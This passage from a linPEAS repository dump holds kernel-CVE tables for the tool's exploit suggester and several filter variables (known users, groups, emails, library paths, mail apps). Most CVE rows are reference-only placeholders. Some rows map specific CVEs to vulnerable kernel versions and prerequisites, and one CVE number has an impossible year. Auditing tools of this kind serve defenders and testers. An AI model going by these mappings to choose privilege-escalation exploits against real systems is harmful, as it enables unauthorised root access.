defined in source suggesters\nCVE-2021-3573\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-3609\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nEOF_DATA_13\n)\"\n\nKERNEL_CVE_DATA_14=\"$(cat <<'EOF_DATA_14'\nCVE-2021-3715\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-39793\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-39815\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-4034\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-41073\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-42008\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-4204\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-42327\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-43267\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-4440\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-44733\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2021-45608\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-0185\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-0435\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-1015\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-1016\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-1786\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-1972\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-20122\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-20186\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-20409\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-20421\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-2078\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-22057\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-22071\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nEOF_DATA_14\n)\"\n\nKERNEL_CVE_DATA_15=\"$(cat <<'EOF_DATA_15'\nCVE-2022-22265\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-22706\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-23222\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-24354\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-25636\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-25664\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-2590\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-2602\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-27666\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-29582\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-34918\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-38181\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-3910\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-41218\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-42703\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-42895\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-42896\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-4543\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-46395\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-47943\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2022-49080\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-0179\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-0266\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-0461\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-0590\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nEOF_DATA_15\n)\"\n\nKERNEL_CVE_DATA_16=\"$(cat <<'EOF_DATA_16'\nCVE-2023-1206\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-1829\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-2008\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-20938\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-21400\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-2156\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-2163\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-23586\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-2593\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-2598\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-26083\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-2612\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-2640\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-31248\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-32233\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-32629\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-3269\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-32832\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-32837\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-32878\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-32882\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-33063\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-33106\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-33107\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-3338\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nEOF_DATA_16\n)\"\n\nKERNEL_CVE_DATA_17=\"$(cat <<'EOF_DATA_17'\nCVE-2023-3389\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-3390\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-35001\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-3865\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-3866\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-4130\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-4211\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-42483\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-4273\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-45864\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-4611\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-48409\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-50809\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-5178\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-52440\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-52447\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-52922\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-52926\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-5717\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-6200\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-6241\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-6546\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-6931\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2023-6932\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-0582\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nEOF_DATA_17\n)\"\n\nKERNEL_CVE_DATA_18=\"$(cat <<'EOF_DATA_18'\nCVE-2024-20018\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-21455\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-23372\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-23373\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-23380\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-26809\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-26921\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-26925\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-26926\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-31333\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-33060\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-35880\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-36016\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-36886\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-36904\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-36974\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-36978\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-38399\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-38402\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-41003\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-41009\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-41010\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-43047\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-43882\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-44068\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nEOF_DATA_18\n)\"\n\nKERNEL_CVE_DATA_19=\"$(cat <<'EOF_DATA_19'\nCVE-2024-46713\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-46740\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-49739\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-49848\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-49882\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-50066\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-50264\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-50302\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-53104\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-53141\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-53197\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-56614\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-56615\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-56626\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-56627\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2024-56770\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-0072\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-0927\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-21479\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-21666\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-21669\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-21670\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-21692\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-21700\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-21703\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nEOF_DATA_19\n)\"\n\nKERNEL_CVE_DATA_20=\"$(cat <<'EOF_DATA_20'\nCVE-2025-21756\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-21836\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-22056\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-23280\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-23330\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-32463\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-37752\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-37756\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-37899\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-37947\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-38001\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-38003\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-38004\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-38617\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-39946\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-39965\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-40040\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-6349\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-8045\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2025-8109\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nCVE-2106-2504\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; no matching rule defined in source suggesters\nEOF_DATA_20\n)\"\n\nKERNEL_CVE_DATA_21=\"$(cat <<'EOF_DATA_21'\nCVE-2015-8550\tdouble-fetch\tpkg=linux-kernel,ver=4.19.65\t\t1\tFrom kernel-exploit-factory detail section (test version Linux-4.19.65)\nCVE-2017-8890\tinet_csk_clone_lock double-free\tpkg=linux-kernel,ver=4.10.15\t\t1\tFrom kernel-exploit-factory detail section (test version Linux-4.10.15)\nCVE-2019-8956\tsctp_sendmsg null pointer dereference\tpkg=linux-kernel,ver=4.20.0,x86\t\t1\tFrom kernel-exploit-factory detail section; exploit chain is documented for 32-bit with CVE-2019-9213\nCVE-2021-31440\teBPF verifier __reg_combine_64_into_32\tpkg=linux-kernel,ver>=5.11,ver<5.12,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1\t\t1\tFrom kernel-exploit-factory detail section and exploit prerequisites\nCVE-2021-4154\tcgroup fsconfig type confusion\tpkg=linux-kernel,ver=5.13.3\t\t1\tFrom kernel-exploit-factory detail section (test version Linux-5.13.3)\nCVE-2022-2588\troute4_filter double-free\tpkg=linux-kernel,ver=5.19.1,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1\t\t1\tFrom kernel-exploit-factory detail section and exploit prerequisites\nCVE-2022-2639\topenvswitch reserve_sfa_size integer overflow\tpkg=linux-kernel,ver=5.17.4,cmd:grep -qi openvswitch /proc/modules\t\t1\tFrom kernel-exploit-factory detail section; openvswitch module required\nCVE-2025-21702\tnet/sched qdisc UAF\tpkg=linux-kernel,ver=6.6.75,CONFIG_NET_SCHED=y\t\t1\tFrom kernel-exploit-factory detail section (test version Linux-6.6.75)\nCVE-2017-16994\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; appears as related bypass mention\nCVE-2020-27171\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; appears as related comment in exploit source\nCVE-2024-0193\tcatalog_reference_only\t9999.9999.9999\t\t0\tReference-only CVE token from example repos; appears as upstream source reference\nEOF_DATA_21\n)\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/knw_emails.sh",
    "content": "# Title: Variables - knw_emails\n# ID: knw_emails\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Known email addresses\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $knw_emails\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nknw_emails=\".*@aivazian.fsnet.co.uk|.*@angband.pl|.*@canonical.com|.*centos.org|.*debian.net|.*debian.org|.*@jff.email|.*kali.org|.*linux.it|.*@linuxia.de|.*@lists.debian-maintainers.org|.*@mit.edu|.*@oss.sgi.com|.*@qualcomm.com|.*redhat.com|.*ubuntu.com|.*@vger.kernel.org|mmyangfl@gmail.com|rogershimizu@gmail.com|thmarques@gmail.com\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/knw_grps.sh",
    "content": "# Title: Variables - knw_grps\n# ID: knw_grps\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Known groups\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $knw_grps\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nknw_grps='\\(lpadmin\\)|\\(cdrom\\)|\\(plugdev\\)|\\(nogroup\\)' #https://www.togaware.com/linux/survivor/Standard_Groups.html\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/knw_usrs.sh",
    "content": "# Title: Variables - knw_usrs\n# ID: knw_usrs\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Known users\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $knw_usrs\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nknw_usrs='_amavisd|_analyticsd|_appinstalld|_appleevents|_applepay|_appowner|_appserver|_appstore|_ard|_assetcache|_astris|_atsserver|_avbdeviced|_calendar|_captiveagent|_ces|_clamav|_cmiodalassistants|_coreaudiod|_coremediaiod|_coreml|_ctkd|_cvmsroot|_cvs|_cyrus|_datadetectors|_demod|_devdocs|_devicemgr|_diskimagesiod|_displaypolicyd|_distnote|_dovecot|_dovenull|_dpaudio|_driverkit|_eppc|_findmydevice|_fpsd|_ftp|_fud|_gamecontrollerd|_geod|_hidd|_iconservices|_installassistant|_installcoordinationd|_installer|_jabber|_kadmin_admin|_kadmin_changepw|_knowledgegraphd|_krb_anonymous|_krb_changepw|_krb_kadmin|_krb_kerberos|_krb_krbtgt|_krbfast|_krbtgt|_launchservicesd|_lda|_locationd|_logd|_lp|_mailman|_mbsetupuser|_mcxalr|_mdnsresponder|_mobileasset|_mysql|_nearbyd|_netbios|_netstatistics|_networkd|_nsurlsessiond|_nsurlstoraged|_oahd|_ondemand|_postfix|_postgres|_qtss|_reportmemoryexception|_rmd|_sandbox|_screensaver|_scsd|_securityagent|_softwareupdate|_spotlight|_sshd|_svn|_taskgated|_teamsserver|_timed|_timezone|_tokend|_trustd|_trustevaluationagent|_unknown|_update_sharing|_usbmuxd|_uucp|_warmd|_webauthserver|_windowserver|_www|_wwwproxy|_xserverdocs|daemon\\W|^daemon$|message\\+|syslog|www|www-data|mail|noboby|Debian\\-\\+|rtkit|systemd\\+'"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/ldsoconfdG.sh",
    "content": "# Title: Variables - ldsoconfdG\n# ID: ldsoconfdG\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Knwon ldso.conf.d directories\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $ldsoconfdG\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nldsoconfdG=\"/lib32|/lib/x86_64-linux-gnu|/usr/lib32|/usr/lib/oracle/19.6/client64/lib/|/usr/lib/x86_64-linux-gnu/libfakeroot|/usr/lib/x86_64-linux-gnu|/usr/local/lib/x86_64-linux-gnu|/usr/local/lib\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/mail_apps.sh",
    "content": "# Title: Variables - mail_apps\n# ID: mail_apps\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Known mail applications\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $mail_apps\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nmail_apps=\"Postfix|Dovecot|Exim|SquirrelMail|Cyrus|Sendmail|Courier\""
  },
  {
